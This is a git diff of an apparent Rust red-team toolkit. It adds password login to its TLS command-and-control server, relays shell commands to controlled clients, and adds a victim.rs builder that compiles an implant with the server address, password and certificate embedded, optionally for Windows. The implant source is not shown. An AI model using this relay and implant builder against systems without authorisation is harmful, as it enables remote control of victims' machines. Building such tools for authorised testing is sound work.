= server.lock() { server.message_que.push("TEST|NONE".to_string()); } else { - self.output.push(String::from("error getting server lock!")); + let _ = self.main_tx.send(ToolMessage::Output(( + rid, + "[error] getting server lock!".to_string(), + ))); } } else { self.output - .push(String::from("Error getting selected server!")); + .push(String::from("[error] getting selected server!")); } } "server_sleep" => { @@ -590,20 +654,22 @@ impl AppState { .push(format!("Server timer set to {} seconds", seconds)); } else { self.output - .push(String::from("error locking server object!")); + .push(String::from("[error] locking server object!")); } } else { self.output - .push(String::from("error not a valid server selected!")); + .push(String::from("[error] not a valid server selected!")); } } else { self.output .push(String::from("invalid second count provided!")); } } else { - self.output.push(String::from( - "Error no seconds provided! please use server_sleep number_of_seconds", - )); + let _ = self.main_tx.send(ToolMessage::Output(( + rid, + "[error] no seconds provided! please use server_sleep number_of_seconds" + .to_string(), + ))); } } "save_all" => { @@ -617,11 +683,14 @@ impl AppState { if let Ok(mut server) = server.lock() { server.message_que.push("LIST_CLIENTS|NONE".to_string()); } else { - self.output.push(String::from("error getting server lock!")); + let _ = self.main_tx.send(ToolMessage::Output(( + rid, + "[error] getting server lock!".to_string(), + ))); } } else { self.output - .push(String::from("Error getting selected server!")); + .push(String::from("[error] getting selected server!")); } } "select_client" => { @@ -639,7 +708,7 @@ impl AppState { } else { let _ = self.main_tx.send(ToolMessage::Output(( rid, - format!("error parsing client id from arg: {}", arg), + format!("[error] parsing client id from arg: {}", arg), ))); } } @@ -658,7 +727,7 @@ impl AppState { server.selected_client = 0; let _ = self .main_tx - .send(ToolMessage::Output((0, format!("client deselected!")))); + .send(ToolMessage::Output((rid, format!("client deselected!")))); } } } @@ -692,7 +761,7 @@ impl AppState { "show_config" | "sc" => { let _ = self .main_tx - .send(ToolMessage::Output((0, "Current Config:".to_string()))); + .send(ToolMessage::Output((rid, "Current Config:".to_string()))); self.config.iter().for_each(|setting| { let _ = self.main_tx.send(ToolMessage::Output(( 0, @@ -714,7 +783,7 @@ impl AppState { } else { let _ = self.main_tx.send(ToolMessage::Output(( 0, - "Error Unknown setting! {key}, {value}".to_string(), + "[error] Unknown setting! {key}, {value}".to_string(), ))); return Ok(()); } @@ -725,12 +794,12 @@ impl AppState { self.save_config()?; let _ = self.main_tx.send(ToolMessage::Output(( 0, - "Setting changed successfully!".to_string(), + "[success]Setting changed!".to_string(), ))); } else { let _ = self.main_tx.send(ToolMessage::Output(( 0, - "Error malformed command!".to_string(), + "[error] malformed command!".to_string(), ))); let _ = self.main_tx.send(ToolMessage::Output(( 0, @@ -742,9 +811,23 @@ impl AppState { self.module_loader.commands.iter().for_each(|module| { let _ = self .main_tx - .send(ToolMessage::Output((0, format!("{}", module.0)))); + .send(ToolMessage::Output((rid, format!("{}", module.0)))); }); } + "server_login" => { + if let Some(pass) = command_args { + let pass = pass.trim().to_string(); + if let Some(server) = self.servers.get(self.selected_server) { + if let Ok(mut lock) = server.lock() { + lock.login(pass)?; + let _ = self.main_tx.send(ToolMessage::Output(( + rid, + "[success] Logged into Server!".to_string(), + ))); + } + } + } + } "exit" => { self.save_all()?; let _ = self.main_tx.send(ToolMessage::AppStateExit); @@ -756,7 +839,7 @@ impl AppState { if self.module_loader.asts.get(command_name).is_none() { let _ = self.main_tx.send(ToolMessage::Output(( rid, - format!("Error command not found: {}", command_name), + format!("[error] command not found: {}", command_name), ))); return Ok(()); } @@ -847,7 +930,7 @@ impl AppState { Err(err) => { let _ = tx.send(ToolMessage::Output(( rid, - format!("Script Error in execution: {}", err), + format!("Script [error] in execution: {}", err), ))); } } @@ -893,7 +976,7 @@ impl AppState { let _ = self.main_tx.send(ToolMessage::Output(( rid, format!( - "error making project files! {e} on {}", + "[error] making project files! {e} on {}", project_files.display() ), ))); @@ -905,7 +988,7 @@ impl AppState { let _ = self.main_tx.send(ToolMessage::Output(( rid, format!( - "error making project notes! {e} on {}", + "[error] making project notes! {e} on {}", project_notes.display() ), ))); @@ -917,7 +1000,7 @@ impl AppState { let _ = self.main_tx.send(ToolMessage::Output(( rid, format!( - "error making config folder! {e} on {}", + "[error] making config folder! {e} on {}", project_conf_folder.display() ), ))); @@ -939,7 +1022,7 @@ impl AppState { Err(e) => { let _ = self.main_tx.send(ToolMessage::Output(( rid, - format!("error copying note template! {e}"), + format!("[error] copying note template! {e}"), ))); } } @@ -949,7 +1032,7 @@ impl AppState { Err(e) => { let _ = self.main_tx.send(ToolMessage::Output(( rid, - format!("error copying note template! {e}"), + format!("[error] copying note template! {e}"), ))); } } @@ -988,7 +1071,7 @@ impl AppState { rid, String::from("promoting project..."), )))?; - let return_string = String::from("Project promoted successfully!"); + let return_string = String::from("[success] Project promoted!"); let mut new_project = self.projects[self.selected_project].clone(); let new_files_path = PathBuf::from(self.config.get("current_files").unwrap()) .join(format!("{}/{}", new_project.org_name, new_project.name)); @@ -1002,7 +1085,7 @@ impl AppState { copy(new_project.notes.clone(), new_notes_path.clone(), &options)?; self.main_tx.send(ToolMessage::Output(( rid, - String::from("folders copied successfully!"), + String::from("[success] folders copied!"), )))?; remove_dir_all(&new_project.files)?; remove_dir_all(&new_project.notes)?; @@ -1080,6 +1163,10 @@ impl AppState { client_id: 0, selected_client: 0, config: None, + logged_in: false, + password: String::new(), + name: String::new(), + cert_text: String::new(), }; self.servers.push(Arc::new(Mutex::new(new_server))); self.prompt.action = None; @@ -1118,6 +1205,10 @@ pub struct Server { pub action_que: Vec, pub client_id: usize, pub selected_client: usize, + pub logged_in: bool, + pub password: String, + pub name: String, + pub cert_text: String, } impl Server { @@ -1136,6 +1227,7 @@ impl Server { pub fn connect(&mut self) -> Result> { if let Ok(cert) = self.donwload_certificate() { self.config = Some(self.build_tls_config(cert.as_str())?); + self.cert_text = cert; } let mut stream = self.tls_connect()?; stream.write("HELLO".as_bytes())?; @@ -1150,27 +1242,50 @@ impl Server { return Ok(self.client_id); } - pub fn checkin(&mut self) { - if let Ok(mut stream) = self.tls_connect() { + pub fn login(&mut self, pass: String) -> Result<(), Box> { + let mut stream = self.tls_connect()?; + stream.write(format!("NONE**{}|||LOGIN|{}||", self.client_id, pass).as_bytes())?; + let mut buf = [0; 8192]; + let bytes_read = stream.read(&mut buf)?; + let response = String::from_utf8_lossy(&buf[..bytes_read]); + if response.contains("successful") { + self.password = pass; self.last_check = Instant::now(); - let payload = format!( - "{}|||{}\n", - self.client_id.clone(), - self.message_que.join("||") - ); + self.logged_in = true; + self.message_que.push(format!("SET_NAME|{}", self.name)); + return Ok(()); + } else { + return Err("[error] logging in!".into()); + } + } - if let Err(e) = stream.write_all(payload.as_bytes()) { - self.action_que - .push(format!("Error|sending reponse output to server! {e}")); - } - self.message_que.clear(); - let mut buffer = [0; 4096]; - if let Ok(bytes_read) = stream.read(&mut buffer) { - if bytes_read > 0 { - let response = String::from_utf8_lossy(&buffer[..bytes_read]); - response.split("||").into_iter().for_each(|action| { - self.action_que.push(action.trim().to_string()); - }); + pub fn checkin(&mut self) { + if self.logged_in { + if let Ok(mut stream) = self.tls_connect() { + self.last_check = Instant::now(); + let payload = format!( + "{}**{}|||{}\n", + self.password.clone(), + self.client_id.clone(), + self.message_que.join("||") + ); + + if let Err(e) = stream.write_all(payload.as_bytes()) { + self.action_que + .push(format!("Error|sending reponse output to server! {e}")); + } + self.message_que.clear(); + let mut buffer = [0; 4096]; + if let Ok(bytes_read) = stream.read(&mut buffer) { + if bytes_read > 0 { + let response = String::from_utf8_lossy(&buffer[..bytes_read]); + response.split("||").into_iter().for_each(|action| { + self.action_que.push(action.trim().to_string()); + if action.contains("Not authenticated") { + self.logged_in = false; + } + }); + } } } } @@ -1198,6 +1313,13 @@ impl Server { let tls_stream = StreamOwned::new(connection, tcp); Ok(tls_stream) } + + fn disconnect(&mut self) -> Result<(), Box> { + let mut stream = self.tls_connect()?; + stream.write(format!("{}**{}|||DISCONNECT||", self.password, self.client_id).as_bytes())?; + self.connected = false; + Ok(()) + } } #[derive(Clone, Debug)] @@ -1665,10 +1787,14 @@ impl ModuleLoader { engine.register_fn("write_file", |path: &str, contents: &str| { std::fs::write(path, contents).is_ok() }); - engine.register_fn("find_scope_file", |path: PathBuf| -> String { + engine.register_fn("find_file", |path: PathBuf, filename: String| -> String { for entry in walkdir::WalkDir::new(path).max_depth(10) { if let Ok(entry) = entry { - if entry.file_name().to_string_lossy().contains("scope") { + if entry + .file_name() + .to_string_lossy() + .contains(filename.as_str()) + { return entry.path().display().to_string(); } } @@ -1751,7 +1877,7 @@ impl ModuleLoader { let ast = match self.engine.compile_file(script_path.clone()) { Ok(compiled_ast) => compiled_ast, Err(e) => { - eprintln!("Error compiling script in {:?}: {}", script_path, e); + eprintln!("[error] compiling script in {:?}: {}", script_path, e); return None; } }; @@ -1784,7 +1910,7 @@ impl DistroBox { if let Err(e) = self.stop_template(tx.clone(), rid) { tx.send(ToolMessage::Output(( rid, - format!("error stopping template box! {e}"), + format!("[error] stopping template box! {e}"), )))?; return Ok(()); } @@ -1832,7 +1958,7 @@ impl DistroBox { if !status.success() { let _ = tx.send(ToolMessage::Output(( rid, - format!("error creating distrobox!"), + format!("[error] creating distrobox!"), ))); } @@ -1878,7 +2004,7 @@ impl DistroBox { if !status.success() { let _ = tx.send(ToolMessage::Output(( rid, - format!("error stopping template distrobox!"), + format!("[error] stopping template distrobox!"), ))); } return Ok(()); @@ -1915,7 +2041,7 @@ impl DistroBox { if !status.success() { let _ = tx.send(ToolMessage::Output(( rid, - format!("error stopping distrobox!"), + format!("[error] stopping distrobox!"), ))); } return Ok(()); @@ -1928,7 +2054,7 @@ impl DistroBox { if !res.success() { let _ = tx.send(ToolMessage::Output(( rid, - format!("Error destroying distrobox!"), + format!("[error] destroying distrobox!"), ))); let _ = tx.send(ToolMessage::Output(( rid, diff --git a/src/main.rs b/src/main.rs index a64799a..ca71c31 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,6 +1,9 @@ use clap::Parser; +use rand::RngExt; +use rand::distr::Alphanumeric; use std::sync::{Arc, Mutex}; use std::{env, path::PathBuf, process::exit}; +use sysinfo::*; use tetanus::funcs::*; use tetanus::server::start_server; use tetanus::{AppState, server}; @@ -46,6 +49,20 @@ struct Args { help = "Custom Config file. Give the path to a config file to use." )] config: Option, + + #[arg( + short = 'P', + long, + help = "the password for the server, in server mode it will set the password clients need to log in, in client mode it sets the password the client will use to login to the server. If blank it will generate a random password." + )] + password: Option, + + #[arg( + short, + long, + help = "The name to set this instance, on servers it will name the server so clients know who it is, on clients it names the clinet for server communications. This defaults to the hostname of the machine, or if the hostname can't be determined it falls back to the username of who runs it." + )] + name: Option, } #[tokio::main] @@ -78,6 +95,22 @@ async fn main() { } let mut client_config_path = config_path.clone(); client_config_path.push("client.conf"); + let mut name = String::new(); + let mut server_hostname = String::new(); + if let Some(aname) = args.name { + name = aname; + } else { + if let Some(hostname) = System::host_name() { + name = hostname.clone(); + server_hostname = hostname; + } else { + for (key, value) in env::vars() { + if key == "USERNAME" || key == "USER" { + name = value; + } + } + } + } if args.client { if !client_config_path.exists() { eprintln!( @@ -92,6 +125,7 @@ async fn main() { eprintln!("error loading config!"); exit(1); } + appstate.name = name; appstate.initialize_modules(); println!("entering tui..."); let _res = run_tui(appstate, rx).unwrap(); @@ -109,11 +143,22 @@ async fn main() { address = format!("{}:{}", ip.trim(), port.trim()); } } + let mut server_pass: String = rand::rng() + .sample_iter(&Alphanumeric) + .take(12) + .map(char::from) + .collect(); + if let Some(pass) = args.password { + server_pass = pass; + } let new_server = server::Server { address, clients: Vec::new(), certificate_path, key_path, + password: server_pass, + name, + hostname: server_hostname, }; let res = start_server(Arc::new(Mutex::new(new_server))).await; match res { diff --git a/src/server.rs b/src/server.rs index 4120310..e9eb48e 100644 --- a/src/server.rs +++ b/src/server.rs @@ -1,12 +1,17 @@ use rcgen::generate_simple_self_signed; use std::error::Error; +use std::fs; use std::fs::File; use std::fs::write; use std::io::BufReader; use std::net::SocketAddr; use std::path::PathBuf; use std::sync::{Arc, Mutex}; +use std::thread::sleep; +use std::time::Duration; +use std::time::Instant; use std::usize; +use tokio::fs::read_to_string; use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; use tokio::net::{TcpListener, TcpStream}; use tokio_rustls::TlsAcceptor; @@ -27,6 +32,11 @@ pub struct Client { controlling: usize, controlled: usize, output_que: Vec, + logged_in: bool, + timer: Duration, + last_check: Instant, + remove: bool, + name: String, } pub struct Server { @@ -34,27 +44,52 @@ pub struct Server { pub clients: Vec, pub certificate_path: PathBuf, pub key_path: PathBuf, + pub password: String, + pub name: String, + pub hostname: String, } pub async fn start_server(server: Arc>) -> Result<(), Box> { let lock = server.lock().unwrap(); - if !lock.certificate_path.exists() || !lock.key_path.exists() { - let (server_ip, _) = lock.address.split_once(':').unwrap(); - - let cert = generate_simple_self_signed(vec![ - server_ip.to_string(), - "127.0.0.1".to_string(), - "localhost".to_string(), - ])?; - + let mut name_path = lock.certificate_path.clone(); + name_path.pop(); + name_path.push("names.txt"); + let (server_ip, _) = lock.address.split_once(':').unwrap(); + let server_hostname = lock.hostname.clone(); + let current_config_names = vec![ + server_hostname, + server_ip.trim().to_string(), + "127.0.0.1".to_string(), + "localhost".to_string(), + ]; + let mut regen = true; + if let Ok(saved_names_string) = read_to_string(&name_path).await { + let mut saved_names = Vec::new(); + saved_names_string.lines().for_each(|line| { + saved_names.push(line.trim().to_string()); + }); + if saved_names == current_config_names { + regen = false; + } + } + if let Err(_) = load_certs(&lock.certificate_path) { + regen = true; + } + if regen { + println!("regenerating TLS certificate..."); + if lock.certificate_path.exists() { + fs::remove_file(&lock.certificate_path)?; + fs::remove_file(&lock.key_path)?; + sleep(Duration::from_secs(3)); + } + let name_config = current_config_names.clone().join("\n"); + write(name_path, name_config.as_bytes())?; + let cert = generate_simple_self_signed(current_config_names)?; write(&lock.certificate_path, cert.cert.pem())?; - write(&lock.key_path, cert.signing_key.serialize_pem())?; } - let certs = load_certs(&lock.certificate_path)?; let key = load_key(&lock.key_path)?; - let tls_config = ServerConfig::builder() .with_no_client_auth() .with_single_cert(certs, key)?; @@ -64,15 +99,14 @@ pub async fn start_server(server: Arc>) -> Result<(), Box() { - let mut responses = Vec::new(); - if let Ok(mut lock) = server.lock() { - if let Some(source_client) = lock.clients.iter_mut().find(|c| c.id == source_id) - { - responses = source_client.actions.clone(); - } - data.split("||").into_iter().for_each(|action| { - if let Some((cmd, data)) = action.split_once("|") { - match cmd.trim() { - "OUTPUT" => { - if let Some(dest_client) = - lock.clients.iter_mut().find(|c| c.controlling == source_id) - { - dest_client.actions.push(ClientAction::Output(format!( - "from {}: {}", - dest_client.id, - data.trim() - ))); - } else { - if let Some(source_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - source_client.output_que.push(data.trim().to_string()); - } + let mut authenticated = false; + let mut checkin = String::new(); + if let Some((password, data)) = msg.split_once("**") { + checkin = data.to_string(); + if let Ok(mut lock) = server.lock() { + if password.trim().to_string() == lock.password { + authenticated = true; + } else { + if let Some((id, _)) = data.split_once("|||") { + if let Ok(id) = id.parse::() { + lock.clients + .iter_mut() + .filter(|c| c.id == id) + .for_each(|c| { + if c.logged_in { + c.logged_in = false; + println!("{} provided an incorrect password!", c.id); } - } - "CMD" => { - if let Some(dest_client) = - lock.clients.iter_mut().find(|c| c.controlled == source_id) - { - dest_client - .actions - .push(ClientAction::Cmd(data.to_string())); - responses.push(ClientAction::Output(format!( - "tasked client {} to run {}", - dest_client.id, cmd - ))); - } - } - "CONTROL" => { - let new_control_id = data.trim().parse::().unwrap(); - if let Some(controlling_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - controlling_client.controlling = new_control_id.clone(); - } - if let Some(contlled_client) = - lock.clients.iter_mut().find(|c| c.id == new_control_id) - { - contlled_client.controlled = source_id; - } else { - if let Some(controlling_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - controlling_client.controlling = 0; - } - } - } - "STOP_CONTROL" => { - if let Some(source_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - if source_client.controlling != 0 { - println!( - "deslelcting client: {}", - source_client.controlling - ); - let dest_client_id = source_client.controlling.clone(); - if let Some(dest_client) = lock - .clients - .iter_mut() - .find(|c| c.id == dest_client_id) - { - dest_client.controlled = 0; - println!("client {} deselected", dest_client.id); - } - } - } - } - "BREAK_CONTROL" => { - if let Some(source_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - if source_client.controlled != 0 { - let dest_id = source_client.controlled.clone(); - source_client.controlled = 0; - if let Some(dest_client) = - lock.clients.iter_mut().find(|c| c.id == dest_id) - { - dest_client.controlling = 0; - } - } - } - } - "LIST_CLIENTS" => { - lock.clients.iter().for_each(|c| { - let out; - if let Some(hostname) = c.hostname.clone() { - out = format!("{}: {}({})", c.id, hostname, c.address); - } else { - out = format!("{}: {}", c.id, c.address); - } - println!("client list requested!"); - println!("adding {} to response...", out); - responses.push(ClientAction::Output(out)); - }); - } - "TEST" => { - responses.push(ClientAction::Output("TEST BACK".to_string())); - } - "SET_HOSTNAME" => { - lock.clients - .iter_mut() - .filter(|c| c.id == source_id) - .for_each(|c| { - c.hostname = Some(data.trim().to_string()); - }); - } - _ => {} - } - } - }); - } - if responses.len() > 0 { - let mut messages = Vec::new(); - for r in responses { - match r { - ClientAction::Cmd(cmd) => { - messages.push(format!("CMD|{}", cmd)); - } - ClientAction::Output(text) => { - println!("adding {} to output", text); - messages.push(format!("OUTPUT|{}", text)); - } - } - } - let full_message = messages.join("||"); - println!("attempting to send {}", full_message); - let buf = full_message.as_bytes(); - stream.write(buf).await.unwrap(); - println!("buffer written!"); - if let Ok(mut lock) = server.lock() { - if let Some(source_client) = - lock.clients.iter_mut().find(|c| c.id == source_id) - { - source_client.actions.clear(); + }); } } } } } + if authenticated { + if let Some((source, data)) = checkin.split_once("|||") { + if let Ok(source_id) = source.trim().parse::() { + let mut responses = Vec::new(); + if let Ok(mut lock) = server.lock() { + let server_name = lock.name.clone(); + if let Some(source_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + responses = source_client.actions.clone(); + source_client.last_check = Instant::now(); + } + data.split("||").into_iter().for_each(|action| { + if let Some((cmd, data)) = action.split_once("|") { + match cmd.trim() { + "SET_NAME" => { + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.name = data.trim().to_string(); + }); + responses.push(ClientAction::Cmd(format!( + "SET_NAME|{}", + lock.name + ))); + } + "OUTPUT" => { + if let Some(dest_client) = lock + .clients + .iter_mut() + .find(|c| c.controlling == source_id) + { + dest_client.actions.push(ClientAction::Output( + format!( + "from {}({}): {}", + dest_client.name, + dest_client.id, + data.trim() + ), + )); + } else { + if let Some(source_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + source_client.output_que.push(format!( + "from {} (server): {}", + server_name, + data.trim() + )); + } + } + } + "CMD" => { + if let Some(dest_client) = lock + .clients + .iter_mut() + .find(|c| c.controlled == source_id) + { + dest_client + .actions + .push(ClientAction::Cmd(data.to_string())); + responses.push(ClientAction::Output(format!( + "tasked client {} to run {}", + dest_client.id, cmd + ))); + } + } + "CONTROL" => { + let new_control_id = data.trim().parse::().unwrap(); + if let Some(controlling_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + controlling_client.controlling = new_control_id.clone(); + } + if let Some(contlled_client) = + lock.clients.iter_mut().find(|c| c.id == new_control_id) + { + contlled_client.controlled = source_id; + } else { + if let Some(controlling_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + controlling_client.controlling = 0; + } + } + } + "STOP_CONTROL" => { + if let Some(source_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + if source_client.controlling != 0 { + println!( + "deslelcting client: {}", + source_client.controlling + ); + let dest_client_id = + source_client.controlling.clone(); + if let Some(dest_client) = lock + .clients + .iter_mut() + .find(|c| c.id == dest_client_id) + { + dest_client.controlled = 0; + println!( + "client {} deselected", + dest_client.id + ); + } + } + } + } + "BREAK_CONTROL" => { + if let Some(source_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + if source_client.controlled != 0 { + let dest_id = source_client.controlled.clone(); + source_client.controlled = 0; + if let Some(dest_client) = lock + .clients + .iter_mut() + .find(|c| c.id == dest_id) + { + dest_client.controlling = 0; + } + } + } + } + "LIST_CLIENTS" => { + lock.clients.iter().for_each(|c| { + let out; + let dead = Instant::now().duration_since(c.last_check) + > c.timer; + if let Some(hostname) = c.hostname.clone() { + out = format!( + "{}: {}({}) - Alive:{}", + c.id, hostname, c.address, !dead + ); + } else { + out = format!( + "{}: {} - Alive:{}", + c.id, c.address, !dead + ); + } + println!("client list requested!"); + println!("adding {} to response...", out); + responses.push(ClientAction::Output(out)); + }); + } + "TEST" => { + responses.push(ClientAction::Output(format!( + "from: {} server() TEST BACK", + server_name + ))); + } + "SET_HOSTNAME" => { + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.hostname = Some(data.trim().to_string()); + }); + } + "LOGOUT" => { + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.logged_in = false; + responses.push(ClientAction::Output( + "Logout successful!".to_string(), + )); + }); + } + "DISCONNECT" => { + println!("client disconnected!"); + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.remove = true; + }); + } + "SLEEP" => { + if let Ok(secs) = data.parse::() { + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.timer = Duration::from_secs(secs); + }); + } + } + _ => {} + } + } + }); + } + if responses.len() > 0 { + let mut messages = Vec::new(); + for r in responses { + match r { + ClientAction::Cmd(cmd) => { + messages.push(format!("CMD|{}", cmd)); + } + ClientAction::Output(text) => { + println!("adding {} to output", text); + messages.push(format!("OUTPUT|{}", text)); + } + } + } + let full_message = messages.join("||"); + println!("attempting to send {}", full_message); + let buf = full_message.as_bytes(); + stream.write(buf).await.unwrap(); + println!("buffer written!"); + if let Ok(mut lock) = server.lock() { + if let Some(source_client) = + lock.clients.iter_mut().find(|c| c.id == source_id) + { + source_client.actions.clear(); + } + } + } + } + } + } else { + if let Some((source, data)) = checkin.split_once("|||") { + if let Ok(source_id) = source.trim().parse::() { + println!("{}", source_id); + let mut responses = Vec::new(); + if let Ok(mut lock) = server.lock() { + data.split("||").into_iter().for_each(|action| { + if let Some((cmd, data)) = action.split_once("|") { + match cmd.trim() { + "LOGIN" => { + let password = lock.password.clone(); + if data.trim().to_string() == password { + lock.clients + .iter_mut() + .filter(|c| c.id == source_id) + .for_each(|c| { + c.logged_in = true; + responses.push(ClientAction::Output( + "Login successful!".to_string(), + )); + println!("client {} logged in!", source_id); + }); + } else { + responses.push(ClientAction::Output( + "Login failed!".to_string(), + )); + } + } + _ => { + responses.push(ClientAction::Output( + "Not authenticated!".to_string(), + )); + } + } + } + println!("error splitting cmd and data!"); + }); + } else { + println!("error getting server lock!"); + } + if responses.len() > 0 { + let mut messages = Vec::new(); + for r in responses { + match r { + ClientAction::Cmd(cmd) => { + messages.push(format!("CMD|{}", cmd)); + } + ClientAction::Output(text) => { + println!("adding {} to output", text); + messages.push(format!("OUTPUT|{}", text)); + } + } + } + let full_message = messages.join("||"); + println!("attempting to send {}", full_message); + let buf = full_message.as_bytes(); + stream.write(buf).await.unwrap(); + println!("buffer written!"); + } + } else { + println!("error parsing source ID!"); + } + } else { + println!("error splitting source from data!"); + } + } + } + if let Ok(lock) = server.try_lock() { + println!("Client Information:"); + lock.clients.iter().for_each(|c| { + println!( + "ID:{} ADDRESS:{} AUTHENTICATED:{}", + c.id, c.address, c.logged_in + ); + }); } } diff --git a/src/victim.rs b/src/victim.rs new file mode 100644 index 0000000..7b22d86 --- /dev/null +++ b/src/victim.rs @@ -0,0 +1,61 @@ +use crate::*; +use rayon::spawn; + +pub fn generate_code( + address: String, + password: String, + config_file: PathBuf, + files: PathBuf, + target: String, + tx: Sender, + cert_text: String, +) -> Result<(), Box> { + let mut source_path = config_file.clone(); + source_path.pop(); + source_path.push("victim/src/main.rs"); + let mut source = read_to_string(&source_path)?; + source = source + .replace("|||SERVER|||", &address) + .replace("|||PASSWORD|||", &password) + .replace("|||CERT|||", &cert_text); + source_path.pop(); + source_path.pop(); + source_path.push("Cargo.toml"); + let cargo_string = read_to_string(source_path)?; + let mut files_base = files.clone(); + files_base.push("victim/src"); + create_dir_all(&files_base)?; + files_base.push("main.rs"); + let mut src_file = File::create(&files_base)?; + src_file.write_all(source.as_bytes())?; + files_base.pop(); + files_base.pop(); + files_base.push("Cargo.toml"); + let mut cargo_file = File::create(&files_base)?; + cargo_file.write_all(cargo_string.as_bytes())?; + files_base.pop(); + let mut cargo_command = Command::new("cargo"); + cargo_command + .arg("build") + .arg("--release") + .current_dir(files_base); + if target.to_lowercase().contains("windows") { + cargo_command.arg("--target").arg("x86_64-pc-windows-gnu"); + } + spawn(move || compile_victim(cargo_command, tx)); + return Ok(()); +} + +fn compile_victim(mut cargo_command: Command, tx: Sender) { + let mut out = "Error compiling output!".to_string(); + if let Ok(output) = cargo_command.output() { + if output.status.success() { + out = "Victim compiled successfully!".to_string(); + } else { + out.push_str(&format!(" {}", String::from_utf8_lossy(&output.stderr))); + } + } else { + out.push_str(" Couldn't spawn compile process!"); + } + let _ = tx.send(ToolMessage::Output((0, out))); +}